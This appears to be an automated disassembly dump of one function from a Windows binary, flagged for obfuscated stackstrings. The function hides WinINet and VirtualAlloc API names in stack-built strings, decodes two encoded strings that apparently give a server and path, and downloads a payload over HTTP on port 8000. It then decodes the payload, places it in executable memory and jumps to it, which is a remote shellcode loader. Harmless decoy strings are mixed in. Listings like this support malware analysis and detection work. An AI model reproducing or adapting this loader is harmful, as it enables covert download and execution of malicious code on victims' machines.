Function at 0x14002e620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0x358
mov rax, qword [0x140044020]
xor rax, rsp
mov qword [rsp + 0x348], rax
mov dword [rsp + 0x4c], 0xf4240
lea rdx, str.TPCVEbX_ZMgq2g_uOomVzA
lea rcx, [rsp + 0x1e8]
call fcn.140004900
nop
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x168]
call fcn.14002e310
nop
lea rcx, [rsp + 0x168]
call fcn.140007290
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rax
mov eax, 2
mov rcx, qword [rsp + 0xa0]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14000b41c
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x168]
call fcn.140007290
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, 0x1f40
mov word [rsp + 0x40], ax
lea rdx, str.eyNgEOO8CkeM_w1A8wWkgQ
lea rcx, [rsp + 0x1c8]
call fcn.140004900
nop
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x148]
call fcn.14002e310
nop
lea rcx, [rsp + 0x148]
call fcn.140007290
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
mov qword [rsp + 0xb0], rax
mov eax, 2
mov rcx, qword [rsp + 0xb0]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14000b41c
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x148]
call fcn.140007290
mov ecx, dword [rsp + 0x48]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x20], rcx
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov byte [rsp + 0x2c8], 0x56
mov byte [rsp + 0x2c9], 0x69
mov byte [rsp + 0x2ca], 0x72
mov byte [rsp + 0x2cb], 0x74
mov byte [rsp + 0x2cc], 0x75
mov byte [rsp + 0x2cd], 0x61
mov byte [rsp + 0x2ce], 0x6c
mov byte [rsp + 0x2cf], 0x41
mov byte [rsp + 0x2d0], 0x6c
mov byte [rsp + 0x2d1], 0x6c
mov byte [rsp + 0x2d2], 0x6f
mov byte [rsp + 0x2d3], 0x63
mov byte [rsp + 0x2d4], 0
call fcn.14002e0e0
lea rdx, [rsp + 0x2c8]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0x88], rax
movsxd rax, dword [rsp + 0x4c]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x88]
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x2d8], 0x49
mov byte [rsp + 0x2d9], 0x6e
mov byte [rsp + 0x2da], 0x74
mov byte [rsp + 0x2db], 0x65
mov byte [rsp + 0x2dc], 0x72
mov byte [rsp + 0x2dd], 0x6e
mov byte [rsp + 0x2de], 0x65
mov byte [rsp + 0x2df], 0x74
mov byte [rsp + 0x2e0], 0x4f
mov byte [rsp + 0x2e1], 0x70
mov byte [rsp + 0x2e2], 0x65
mov byte [rsp + 0x2e3], 0x6e
mov byte [rsp + 0x2e4], 0x57
mov byte [rsp + 0x2e5], 0
call fcn.14002e170
lea rdx, [rsp + 0x2d8]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_4.0
call qword [rsp + 0xc0]
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x2e8], 0x49
mov byte [rsp + 0x2e9], 0x6e
mov byte [rsp + 0x2ea], 0x74
mov byte [rsp + 0x2eb], 0x65
mov byte [rsp + 0x2ec], 0x72
mov byte [rsp + 0x2ed], 0x6e
mov byte [rsp + 0x2ee], 0x65
mov byte [rsp + 0x2ef], 0x74
mov byte [rsp + 0x2f0], 0x43
mov byte [rsp + 0x2f1], 0x6f
mov byte [rsp + 0x2f2], 0x6e
mov byte [rsp + 0x2f3], 0x6e
mov byte [rsp + 0x2f4], 0x65
mov byte [rsp + 0x2f5], 0x63
mov byte [rsp + 0x2f6], 0x74
mov byte [rsp + 0x2f7], 0x57
mov byte [rsp + 0x2f8], 0
call fcn.14002e170
lea rdx, [rsp + 0x2e8]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
lea rax, [0x14003ef88]
mov qword [rsp + 0x20], rax
lea r9, [0x14003ef8c]
movzx r8d, word [rsp + 0x40]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xc8]
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x300], 0x48
mov byte [rsp + 0x301], 0x74
mov byte [rsp + 0x302], 0x74
mov byte [rsp + 0x303], 0x70
mov byte [rsp + 0x304], 0x4f
mov byte [rsp + 0x305], 0x70
mov byte [rsp + 0x306], 0x65
mov byte [rsp + 0x307], 0x6e
mov byte [rsp + 0x308], 0x52
mov byte [rsp + 0x309], 0x65
mov byte [rsp + 0x30a], 0x71
mov byte [rsp + 0x30b], 0x75
mov byte [rsp + 0x30c], 0x65
mov byte [rsp + 0x30d], 0x73
mov byte [rsp + 0x30e], 0x74
mov byte [rsp + 0x30f], 0x57
mov byte [rsp + 0x310], 0
call fcn.14002e170
lea rdx, [rsp + 0x300]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x78]
lea rdx, [0x14003ef90]
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xd0]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x318], 0x48
mov byte [rsp + 0x319], 0x74
mov byte [rsp + 0x31a], 0x74
mov byte [rsp + 0x31b], 0x70
mov byte [rsp + 0x31c], 0x53
mov byte [rsp + 0x31d], 0x65
mov byte [rsp + 0x31e], 0x6e
mov byte [rsp + 0x31f], 0x64
mov byte [rsp + 0x320], 0x52
mov byte [rsp + 0x321], 0x65
mov byte [rsp + 0x322], 0x71
mov byte [rsp + 0x323], 0x75
mov byte [rsp + 0x324], 0x65
mov byte [rsp + 0x325], 0x73
mov byte [rsp + 0x326], 0x74
mov byte [rsp + 0x327], 0x57
mov byte [rsp + 0x328], 0
call fcn.14002e170
lea rdx, [rsp + 0x318]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xd8]
mov byte [rsp + 0x330], 0x49
mov byte [rsp + 0x331], 0x6e
mov byte [rsp + 0x332], 0x74
mov byte [rsp + 0x333], 0x65
mov byte [rsp + 0x334], 0x72
mov byte [rsp + 0x335], 0x6e
mov byte [rsp + 0x336], 0x65
mov byte [rsp + 0x337], 0x74
mov byte [rsp + 0x338], 0x52
mov byte [rsp + 0x339], 0x65
mov byte [rsp + 0x33a], 0x61
mov byte [rsp + 0x33b], 0x64
mov byte [rsp + 0x33c], 0x46
mov byte [rsp + 0x33d], 0x69
mov byte [rsp + 0x33e], 0x6c
mov byte [rsp + 0x33f], 0x65
mov byte [rsp + 0x340], 0
call fcn.14002e170
lea rdx, [rsp + 0x330]
mov rcx, rax
call fcn.14002e1a0
mov qword [rsp + 0xe0], rax
lea r9, [rsp + 0x120]
mov r8d, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xe0]
mov eax, dword [rsp + 0x120]
mov r8d, eax
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x1a8]
call fcn.1400073b0
nop
lea rcx, [rsp + 0x128]
call fcn.140004950
nop
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x188]
call fcn.14002e310
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x100]
call fcn.140004330
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x128]
call fcn.140007330
lea rcx, [rsp + 0x100]
call fcn.140004870
lea rcx, [rsp + 0x128]
call fcn.1400046f0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x88]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14002ee11
lea rdx, str.Failed_to_allocate_memory.
lea rcx, [0x1400454a0]
call fcn.1400077e0
lea rdx, [0x140007b70]
mov rcx, rax
call fcn.140007190
mov dword [rsp + 0x58], 1
lea rcx, [rsp + 0x188]
call fcn.140004870
nop
lea rcx, [rsp + 0x128]
call fcn.140004870
nop
lea rcx, [rsp + 0x1a8]
call fcn.140004870
nop
lea rcx, [rsp + 0x148]
call fcn.140004870
nop
lea rcx, [rsp + 0x1c8]
call fcn.140004870
nop
lea rcx, [rsp + 0x168]
call fcn.140004870
nop
lea rcx, [rsp + 0x1e8]
call fcn.140004870
mov eax, dword [rsp + 0x58]
jmp 0x14002efe7
lea rdx, str.https:__www.google.com_search_q
lea rcx, [rsp + 0x2a8]
call fcn.140004900
nop
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
lea rcx, [rsp + 0x288]
call fcn.140004900
nop
lea rdx, str.C:_Users_username_Documents_file.txt
lea rcx, [rsp + 0x268]
call fcn.140004900
nop
lea rdx, str._home_user_documents_file.txt
lea rcx, [rsp + 0x248]
call fcn.140004900
nop
lea rdx, str._name_:_John___age_:30__city_:_New_York_
lea rcx, [rsp + 0x228]
call fcn.140004900
nop
lea rdx, str._product_:_Apple_iPhone_13___price_:999__currency_:_USD_
lea rcx, [rsp + 0x208]
call fcn.140004900
nop
call section..data
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
call fcn.140013c14
lea rcx, [rsp + 0x128]
call fcn.1400046f0
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x128]
call fcn.140007290
mov rdi, qword [rsp + 0x50]
mov rsi, rax
mov rax, qword [rsp + 0xf8]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x98], rax
call qword [rsp + 0x98]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x208]
call fcn.140004870
nop
lea rcx, [rsp + 0x228]
call fcn.140004870
nop
lea rcx, [rsp + 0x248]
call fcn.140004870
nop
lea rcx, [rsp + 0x268]
call fcn.140004870
nop
lea rcx, [rsp + 0x288]
call fcn.140004870
nop
lea rcx, [rsp + 0x2a8]
call fcn.140004870
nop
lea rcx, [rsp + 0x188]
call fcn.140004870
nop
lea rcx, [rsp + 0x128]
call fcn.140004870
nop
lea rcx, [rsp + 0x1a8]
call fcn.140004870
nop
lea rcx, [rsp + 0x148]
call fcn.140004870
nop
lea rcx, [rsp + 0x1c8]
call fcn.140004870
nop
lea rcx, [rsp + 0x168]
call fcn.140004870
nop
lea rcx, [rsp + 0x1e8]
call fcn.140004870
jmp 0x14002efe5
xor eax, eax
mov rcx, qword [rsp + 0x348]
xor rcx, rsp
call fcn.14000aea0
add rsp, 0x358
pop rdi
pop rsi
ret